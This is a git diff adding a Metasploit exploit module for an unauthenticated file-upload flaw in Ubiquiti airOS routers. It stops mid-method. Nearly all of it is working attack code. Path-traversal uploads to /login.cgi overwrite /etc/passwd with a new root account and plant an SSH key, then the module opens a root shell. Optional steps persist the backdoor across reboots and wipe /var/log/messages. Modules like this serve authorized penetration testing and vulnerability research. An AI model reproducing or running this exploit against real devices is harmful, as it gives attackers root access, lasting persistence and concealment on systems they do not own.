diff --git a/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb b/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb new file mode 100644 index 0000000000..17eba91eed --- /dev/null +++ b/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb @@ -0,0 +1,231 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ubiquiti airOS Arbitrary File Upload', + 'Description' => %q{ + This module exploits a pre-auth file upload to install a new root user + to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys. + }, + 'Author' => [ + '93c08539', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + %w{EDB 39701}, + %w{URL https://hackerone.com/reports/73480} + ], + 'DisclosureDate' => 'Feb 13 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Targets' => [ + ['Ubiquiti airOS < 5.6.2', {}] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true + } + )) + + register_options([ + Opt::RPORT(443), + OptPort.new('SSH_PORT', [true, 'SSH port', 22]) + ]) + + register_advanced_options([ + OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]), + OptBool.new('WIPE_LOGS', [false, 'Wipe /var/log/messages', false]), + OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]), + OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10]) + ]) + end + + def exploit + print_status('Uploading /etc/passwd') + upload_etc_passwd + print_status('Uploading /etc/dropbear/authorized_keys') + upload_authorized_keys + print_status("Logging in as #{username}") + vprint_status("Password: #{password}") + vprint_status("Private key:\n#{private_key}") + if (ssh = ssh_login) + print_good("Logged in as #{username}") + handler(ssh.lsock) + end + end + + def on_new_session(session) + super + if datastore['PERSIST_ETC'] + print_status('Persisting in /etc/persistent') + persist_etc(session) + end + if datastore['WIPE_LOGS'] + print_status('Wiping /var/log/messages') + wipe_logs(session) + end + end + + def upload_etc_passwd + mime = Rex::MIME::Message.new + mime.add_part(etc_passwd, 'text/plain', 'binary', + 'form-data; name="passwd"; filename="../../etc/passwd"') + + send_request_cgi( + 'method' => 'POST', + 'uri' => '/login.cgi', + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + end + + def upload_authorized_keys + mime = Rex::MIME::Message.new + mime.add_part(authorized_keys, 'text/plain', 'binary', + 'form-data; name="authorized_keys"; ' \ + 'filename="../../etc/dropbear/authorized_keys"') + + send_request_cgi( + 'method' => 'POST', + 'uri' => '/login.cgi', + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + end + + def ssh_login + ssh_opts = { + port: datastore['SSH_PORT'], + auth_methods: %w{publickey password}, + key_data: [private_key], + # Framework options + msframework: framework, + msfmodule: self, + proxies: datastore['Proxies'] + } + + ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] + + begin + ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do + Net::SSH.start(rhost, username, ssh_opts) + end + rescue Net::SSH::Exception => e + vprint_error("#{e.class}: #{e.message}") + return + end + + if ssh + report_vuln( + host: rhost, + name: self.name, + refs: self.references, + info: ssh.transport.server_version.version + ) + return Net::SSH::CommandStream.new(ssh, '/bin/sh', true) + end + + nil + end + + # + # Persistence and cleanup methods + # + + def persist_etc(session) + mime = Rex::MIME::Message.new + mime.add_part(rc_poststart, 'text/plain', 'binary', + 'form-data; name="rc.poststart"; ' \ + 'filename="../../etc/persistent/rc.poststart"') + + send_request_cgi( + 'method' => 'POST', + 'uri' => '/login.cgi', + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + + # http://www.hwmn.org/w/Ubiquity_HOWTO + commands = [ + "mkdir #{username}", + "cp /etc/passwd /etc/dropbear/authorized_keys #{username}", + 'cfgmtd -wp /etc' + ] + + commands.each do |command| + session.shell_command_token(command) + end + end + + def wipe_logs(session) + session.shell_command_token('> /var/log/messages') + end + + # + # /etc/passwd methods + # + + def etc_passwd + "#{username}:#{hash(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n" + end + + def hash(password) + # http://man7.org/linux/man-pages/man3/crypt.3.html + salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './') + password.crypt(salt) + end + + def username + @username ||= Rex::Text.rand_text_alpha_lower(8) + end + + def password + @password ||= Rex::Text.rand_text_alphanumeric(8) + end + + # + # /etc/dropbear/authorized_keys methods + # + + def authorized_keys + pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) + "#{ssh_keygen.ssh_type} #{pubkey}\n" + end + + def private_key + ssh_keygen.to_pem + end + + def ssh_keygen + @ssh_keygen ||= OpenSSL::PKey::RSA.new(2048) + end + + # + # /etc/persistent/rc.poststart methods + # + + def rc_poststart + <